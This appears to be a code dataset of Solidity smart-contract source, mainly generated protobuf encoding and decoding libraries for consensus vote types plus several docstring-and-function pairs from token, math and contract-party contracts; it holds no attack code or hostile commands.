sz) = _decode_CanonicalPartSetHeader(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.part_set_header = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_CanonicalPartSetHeader(uint256 p, bytes memory bs) internal pure returns (CanonicalPartSetHeader.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (CanonicalPartSetHeader.Data memory r, ) = CanonicalPartSetHeader._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += CanonicalPartSetHeader._encode_nested(r.part_set_header, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(CanonicalPartSetHeader._estimate(r.part_set_header)); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.hash.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.hash = input.hash; CanonicalPartSetHeader.store(input.part_set_header, output.part_set_header); } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library CanonicalBlockID library CanonicalPartSetHeader { //struct definition struct Data { uint64 total; bytes hash; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_total(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_hash(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_total( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.total = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_hash( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.hash = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.total != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.total, pointer, bs); } if (r.hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_uint64(r.total); e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.total != 0) { return false; } if (r.hash.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.total = input.total; output.hash = input.hash; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library CanonicalPartSetHeader library CanonicalVote { //struct definition struct Data { TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType typ; int64 height; int64 round; CanonicalBlockID.Data block_id; Timestamp.Data timestamp; string chain_id; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[7] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_typ(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_height(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_round(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_block_id(pointer, bs, r, counters); } else if (fieldId == 5) { pointer += _read_timestamp(pointer, bs, r, counters); } else if (fieldId == 6) { pointer += _read_chain_id(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_typ( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs); TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType x = TYPES_PROTO_GLOBAL_ENUMS.decode_SignedMsgType(tmp); if (isNil(r)) { counters[1] += 1; } else { r.typ = x; if(counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_height( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_sfixed64(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.height = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_round( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_sfixed64(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.round = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_block_id( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (CanonicalBlockID.Data memory x, uint256 sz) = _decode_CanonicalBlockID(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.block_id = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_timestamp( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs); if (isNil(r)) { counters[5] += 1; } else { r.timestamp = x; if (counters[5] > 0) counters[5] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_chain_id( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (string memory x, uint256 sz) = ProtoBufRuntime._decode_string(p, bs); if (isNil(r)) { counters[6] += 1; } else { r.chain_id = x; if (counters[6] > 0) counters[6] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_CanonicalBlockID(uint256 p, bytes memory bs) internal pure returns (CanonicalBlockID.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (CanonicalBlockID.Data memory r, ) = CanonicalBlockID._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Timestamp(uint256 p, bytes memory bs) internal pure returns (Timestamp.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (uint(r.typ) != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); int32 _enum_typ = TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ); pointer += ProtoBufRuntime._encode_enum(_enum_typ, pointer, bs); } if (r.height != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Fixed64, pointer, bs ); pointer += ProtoBufRuntime._encode_sfixed64(r.height, pointer, bs); } if (r.round != 0) { pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.Fixed64, pointer, bs ); pointer += ProtoBufRuntime._encode_sfixed64(r.round, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += CanonicalBlockID._encode_nested(r.block_id, pointer, bs); pointer += ProtoBufRuntime._encode_key( 5, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Timestamp._encode_nested(r.timestamp, pointer, bs); if (bytes(r.chain_id).length != 0) { pointer += ProtoBufRuntime._encode_key( 6, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_string(r.chain_id, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_enum(TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ)); e += 1 + 8; e += 1 + 8; e += 1 + ProtoBufRuntime._sz_lendelim(CanonicalBlockID._estimate(r.block_id)); e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.timestamp)); e += 1 + ProtoBufRuntime._sz_lendelim(bytes(r.chain_id).length); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (uint(r.typ) != 0) { return false; } if (r.height != 0) { return false; } if (r.round != 0) { return false; } if (bytes(r.chain_id).length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.typ = input.typ; output.height = input.height; output.round = input.round; CanonicalBlockID.store(input.block_id, output.block_id); Timestamp.store(input.timestamp, output.timestamp); output.chain_id = input.chain_id; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library CanonicalVote library Height { //struct definition struct Data { uint64 revision_number; uint64 revision_height; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_revision_number(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_revision_height(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_revision_number( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.revision_number = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_revision_height( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.revision_height = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.revision_number != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.revision_number, pointer, bs); } if (r.revision_height != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.revision_height, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_uint64(r.revision_number); e += 1 + ProtoBufRuntime._sz_uint64(r.revision_height); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.revision_number != 0) { return false; } if (r.revision_height != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.revision_number = input.revision_number; output.revision_height = input.revision_height; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library Height library TYPES_PROTO_GLOBAL_ENUMS { //enum definition // Solidity enum definitions enum BlockIDFlag { BLOCK_ID_FLAG_UNKNOWN, BLOCK_ID_FLAG_ABSENT, BLOCK_ID_FLAG_COMMIT, BLOCK_ID_FLAG_NIL } // Solidity enum encoder function encode_BlockIDFlag(BlockIDFlag x) internal pure returns (int32) { if (x == BlockIDFlag.BLOCK_ID_FLAG_UNKNOWN) { return 0; } if (x == BlockIDFlag.BLOCK_ID_FLAG_ABSENT) { return 1; } if (x == BlockIDFlag.BLOCK_ID_FLAG_COMMIT) { return 2; } if (x == BlockIDFlag.BLOCK_ID_FLAG_NIL) { return 3; } revert(); } // Solidity enum decoder function decode_BlockIDFlag(int64 x) internal pure returns (BlockIDFlag) { if (x == 0) { return BlockIDFlag.BLOCK_ID_FLAG_UNKNOWN; } if (x == 1) { return BlockIDFlag.BLOCK_ID_FLAG_ABSENT; } if (x == 2) { return BlockIDFlag.BLOCK_ID_FLAG_COMMIT; } if (x == 3) { return BlockIDFlag.BLOCK_ID_FLAG_NIL; } revert(); } // Solidity enum definitions enum SignedMsgType { SIGNED_MSG_TYPE_UNKNOWN, SIGNED_MSG_TYPE_PREVOTE, SIGNED_MSG_TYPE_PRECOMMIT, SIGNED_MSG_TYPE_PROPOSAL } // Solidity enum encoder function encode_SignedMsgType(SignedMsgType x) internal pure returns (int32) { if (x == SignedMsgType.SIGNED_MSG_TYPE_UNKNOWN) { return 0; } if (x == SignedMsgType.SIGNED_MSG_TYPE_PREVOTE) { return 1; } if (x == SignedMsgType.SIGNED_MSG_TYPE_PRECOMMIT) { return 2; } if (x == SignedMsgType.SIGNED_MSG_TYPE_PROPOSAL) { return 32; } revert(); } // Solidity enum decoder function decode_SignedMsgType(int64 x) internal pure returns (SignedMsgType) { if (x == 0) { return SignedMsgType.SIGNED_MSG_TYPE_UNKNOWN; } if (x == 1) { return SignedMsgType.SIGNED_MSG_TYPE_PREVOTE; } if (x == 2) { return SignedMsgType.SIGNED_MSG_TYPE_PRECOMMIT; } if (x == 32) { return SignedMsgType.SIGNED_MSG_TYPE_PROPOSAL; } revert(); } } //library TYPES_PROTO_GLOBAL_ENUMS
The encoder for internal usage r The struct to be encoded p The offset of bytes array to start decode bs The bytes array to be decoded return The number of bytes encoded/
function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.height != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.height, pointer, bs); } if (r.app != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.app, pointer, bs); } return pointer - offset; }
2,568,184
./full_match/1/0x9d28eA625A51F8F4046DE4e853E36988F2AAC634/sources/contracts/Token.sol
Mints (creates) some tokens to address specified The value specified is treated as is without taking into account what `decimals` value is Behaves effectively as `mintTo` function, allowing to specify an address to mint tokens to Requires sender to have `ROLE_TOKEN_CREATOR` permission Throws on overflow, if totalSupply + _value doesn't fit into uint256 _to an address to mint tokens to _value an amount of tokens to mint (create)/ non-zero recipient address check non-zero _value and arithmetic overflow check on the total supply this check automatically secures arithmetic overflow on the individual balance uint256 overflow check (required by voting delegation) perform mint with ERC20 transfer event
function mint(address _to, uint256 _value) external override onlyRole(ModaConstants.ROLE_TOKEN_CREATOR) { if (_value == 0) return; require(totalSupply() + _value > totalSupply(), 'zero value mint or arithmetic overflow'); require(totalSupply() + _value <= type(uint192).max, 'total supply overflow (uint192)'); _mintWithCount(_to, _value); }
17,110,250
./full_match/80001/0xEc14c01136e0E1e815C9fBf369276397d0804fc3/sources/lib/prb-math/src/sd59x18/Helpers.sol
Implements the unchecked unary minus operation (-) in the SD59x18 type.
function uncheckedUnary(SD59x18 x) pure returns (SD59x18 result) { unchecked { result = wrap(-unwrap(x)); } }
9,493,604
./partial_match/1/0x7b5AFdA01ef32d95858A22E5fc0a6821A12CDAe5/sources/contracts/L2/predeploys/OVM_GasPriceOracle.sol
Allows the owner to modify the l1 bridge price. _minCost New l2 gas price./
function setMinErc20BridgeCost(uint256 _minCost) public onlyOwner { minErc20BridgeCost = _minCost; emit MinErc20BridgeCostUpdated(_minCost); }
3,954,482
/** * @title ContractParty contains the address acting as contract party and * whether it has signed the contract or not. A contract party should be owned * by the contract itself, so that only the contract can change the signed * state. * @author Javier Moreno Molina <[email protected]> */ pragma solidity ^0.4.10; contract ContractParty { /// @dev The contract party id (address) address public partyAddress; /// @dev True if contract party has signed the contract, false otherwise bool public signed; /// @dev The corresponding contract, the only allowed to change its state address owner; modifier onlyOwner() { if(msg.sender!=owner) throw; _; } /** * @dev Creates a participant in a contract * @param adr Legal person becoming contract party */ function ContractParty(address adr) { partyAddress = adr; signed = false; owner = msg.sender; } /** * @dev The contract party has signed the contract */ function hasSigned() onlyOwner() { signed = true; } }
The contract party has signed the contract/
function hasSigned() onlyOwner() { signed = true; }
14,029,308
